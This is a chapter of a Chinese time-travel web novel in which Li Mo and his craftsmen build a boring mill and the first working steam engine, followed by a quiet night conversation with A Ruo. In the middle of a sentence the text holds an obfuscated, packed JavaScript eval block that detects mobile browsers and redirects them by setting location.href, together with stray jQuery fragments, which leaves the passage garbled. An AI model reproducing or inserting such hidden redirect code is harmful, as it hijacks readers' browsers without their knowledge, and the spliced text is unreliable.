入冬后的第一场雪落下来的时候，李默已经把自己关在作坊里整整二十七天。
阿钝每天三顿饭送到门口，敲三下，把碗放在地上，转身就走。有一回他忍不住从门缝往里瞅了一眼——就一眼，吓得他一屁股坐在地上。
屋里全是图纸。墙上贴着，地上铺着，桌上堆着，连窗户都用图纸糊上了，透进来的光都是纸黄色的。李默蹲在那些图纸中间，头发乱得像个鸟窝，眼窝深陷，颧骨凸出，活脱脱一个刚从坟里爬出来的死人。
“师父他……他没事吧？”阿钝问孙二。
孙二瞥了一眼那扇紧闭的门。
“没事。有事他会喊。”
“他喊过吗？”
“没喊过，就是还活着。”
阿钝缩了缩脖子，把新的一碗饭放在门口，端走上一顿的碗——上一顿的饭一口没动。
第二十八天早上，门开了。
李默走出来的时候，所有人都愣住了。
不是因为他瘦——瘦是早就瘦了。是因为他的眼睛。
那双眼睛里有一种光，亮得吓人，像是熬了二十八天夜的人突然看见了太阳。
“孙监工。”他说，“咱们有多少铁？”
孙二愣了一下。
“铁？库房里那点，你都知道。”
“不够。”李默说，“要更多。”
“要多少？”
李默想了想。
“先把汴梁城里能买到的铁，全买了。”
孙二以为自己听错了。
“全买了？咱们哪来那么多钱？”
李默从怀里摸出一个东西，递给他。
是那两根金条——钱通送的，他当时没接，但钱通走的时候偷偷塞在门缝里，他发现后一直没收。
“先用这个。”
孙二接过金条，翻来覆去看了半天。
“这不是江南商会那……”
“先用。”李默说，“以后还。”
孙二盯着他看了半天，最后点了点头。
“行。你说啥是啥。”
三天后，将作监的院子里堆满了铁。
不是好铁——是汴梁城里能买到的各种铁。有生铁锭，有废铁锅，有破铁犁，还有一堆不知道从哪儿收来的铁钉子。周老倔带着几个铁匠蹲在那堆铁旁边，脸上全是困惑。
“李头儿，这些铁……有的好有的坏，掺一块儿使，打出来的东西能用？”
李默没回答。他蹲下来，从那一堆铁里挑出一块生铁锭，又挑出一块废铁锅，放在手里掂了掂。
“周师傅，你打了一辈子铁，我问你一件事。”
“啥？”
“铁烧红了，锤打的时候，你看见什么？”
周老倔愣了一下。
“看见什么？看见……看见铁呗。”
“不是。”李默说，“你看见的是铁里的杂质在往外跑。有的铁杂质多，一烧就脆；有的铁杂质少，越打越韧。你想打好东西，就得把杂质多的和杂质少的配着用，让它们互相补。”
周老倔听着这些话，眼睛里慢慢有了光。
“你……你怎么知道这些？”
李默没回答。
他只是站起来，指着那堆铁。
“从今天起，咱们打一样新东西。”
新东西没有名字。
李默管它叫“那个机器”。图纸画了二十八天，现在要把它变成真的。
第一道难题是气缸。
气缸要圆，要直，要里面光滑得像镜子一样。周老倔打了四十年铁，没见过这么刁钻的要求。
“这玩意儿……怎么打？”
李默带着他做了一台手摇镗床。
其实就是个架子，架着一根铁杆，铁杆头上镶着钢刃。把铸好的铁管卡在架子上，摇动手柄，让铁杆慢慢转进去，钢刃一点一点把内壁刮平。
周老倔第一回试的时候，摇了半个时辰，出了一身汗，刮出来的铁屑堆了一小堆。他把铁管拿起来，对着光往里看——里面亮堂堂的，能照见自己的脸。
“这……这成了？”
李默接过铁管，用手指摸了摸内壁。
还不够光滑。但在这个时代，已经是奇迹。
“成了。”他说。
周老倔站在那里，看着那根铁管，忽然笑了。
笑着笑着，眼泪流下来。
“我打了四十年铁……”他说，“头一回知道，铁还能这样。”
阿钝每天跟着李默，眼睛瞪得溜圆，生怕漏掉一点。
他记不住图纸，但他记住了另一件事——李默每次遇到难题，就会蹲下来，闭着眼睛，一动不动。
有一回他忍不住问：“师父，你蹲着干啥？”
李默没睁眼：“在想。”
“想啥？”
“想那些画图纸的人。他们当初怎么想出来的。”
阿钝蹲在他旁边，也闭上眼睛。
过了一会儿，他睁开眼。
“师父，我想不出来。”
李默睁开眼，看着他。
“慢慢想。”他说，“想多了，就会了。”
阿钝点点头，又闭上眼睛。
这回他想了很久。
阿箬不蹲着。
她站在旁边，看着那些铁匠干活，一看就是一整天。有时候李默回头，能看见她的眼睛——还是冷的，但冷里多了点别的东西。
有一天，李默正在调那个镗床，忽然听见身后有人说：
“那个地方，歪了。”
他回头，看见阿箬站在三步外，指着镗床的一个连接处。
李默低头看了看。确实歪了，歪了一点点，不仔细看看不出来。
“你怎么看出来的？”
阿箬没回答。她只是走过来，蹲下，用手指摸了摸那个地方。
“眼睛看出来的。”她说。
李默看着她。
这个女孩，杀过人的那个女孩，被人卖过四回的那个女孩，手上有一道深疤的那个女孩——她有一双好眼睛。
“阿箬。”他说。
“嗯？”
“想学吗？”
她抬起头，看着他。
那双眼睛里，冷的那一层下面，有光在动。
“想。”
“那就学。”李默说，“先从看开始。”
第二十五天，第一台蒸汽机的气缸镗好了。
第三十天，活塞做好了。
第三十五天，连杆和飞轮做好了。
第四十天，他们把所有的零件拼在一起，放在院子中央。
那天没下雪，天很晴，阳光照在那个奇形怪状的铁家伙上，照出一片刺眼的光。
所有人都围在四周，看着那个东西。
周老倔站在最前面，眼睛瞪得老大。
孙二站在旁边，手攥着袖子，攥得紧紧的。
阿钝蹲在李默脚边，大气都不敢出。
阿箬站在人群最外边，眼睛盯着那个铁家伙，一动不动。
李默蹲下来，检查每一个连接处。他的手很稳，但只有他自己知道，心跳得有多快。
二十一世纪的时候，他调试过无数次蒸汽机。每一次都很兴奋，但从来没有这一次这样——
这一次，如果成了，改变的将不只是效率。
是所有人的命。
他站起来，退后几步。
“点火。”
阿钝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401599|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拿着火把，手有点抖。他看了李默一眼，李默点了点头。
火把伸进炉膛里。
煤燃起来，火光照亮了所有人的脸。
水开始烧，开始冒气，开始嘶嘶地响。
然后——
“嗵。”
一声闷响。活塞动了一下。
所有人屏住呼吸。
“嗵。”
又一下。
“嗵嗵嗵嗵嗵——”
活塞动起来了，越来越快，连杆跟着动，飞轮开始转。
转起来了。
那个铁家伙，活了。
院子里一片死寂。
然后不知道谁先喊了一声，所有人炸了。有人跳，有人叫，有人跪下来，有人哭。
周老倔一屁股坐在地上，老泪纵横。
孙二张着嘴，半天合不上。
阿钝跳起来，绕着院子跑，一边跑一边喊：“动了动了动了！”
阿箬还是站在人群最外边，一动不动。
但她的眼睛里，冷的那一层下面，有什么东西裂开了。
李默站在那里，看着那个转动的飞轮。
阳光照在他脸上，照出二十八天没睡好觉留下的黑眼圈，照出瘦得脱相的脸颊，照出那双眼睛里——
有泪光。
他没擦。
就让它们在那里，在阳光下，亮着。
夜里，所有人都睡了。
李默一个人坐在院子里，看着那个蒸汽机。月光照在上面，照出一层冷冷的银色。
身后有脚步声。
阿箬走过来，在他旁边坐下。
“睡不着？”
“嗯。”
她没说话，只是看着那个蒸汽机。
过了很久，她忽然开口：
“我娘活着的时候，跟我说过一个故事。”
李默转头看她。
“她说，很久以前，有一个人，做了一架木头的鸟。那鸟会飞，飞了三天三夜没落下来。”
她顿了顿。
“我小时候不信。木头的东西，怎么会飞？”
她看着那个蒸汽机。
“现在信了。”
李默没说话。
阿箬转过头，看着他。
“你到底是什么人？”
月光下，她的眼睛亮得吓人。
李默想了想。
“一个会做梦的人。”他说。
阿箬看着他。
“冯道说的那个‘比你还能做梦的人’，”她说，“是谁？”
李默摇头。
“不知道。”
阿箬沉默了一会儿。
“要是我，”她说，“那个人，说不定是你自己。”
李默愣了一下。
阿箬站起来，拍拍身上的土。
“睡了。”她说。
她走了。
李默坐在那里，看着她的背影消失在黑暗里。
然后他抬起头，看着月亮。
阿箬说的那句话，在他脑子里转了好几圈。
“说不定是你自己。”
他想起这四十天的每一夜，想起那些画烂的图纸，想起那些失败的试验，想起周老倔的眼泪，想起阿钝的喊声，想起那个转起来的飞轮。
他忽然想起二十一世纪的时候，导师跟他说过的一句话：
“你以为你在创造技术，其实技术也在创造你。”
那时候他不明白。
现在好像有点明白了。
远处传来打更的声音。
“咚——咚——咚——”
三更了。
李默站起来，走回屋里。
明天，还有太多事要做。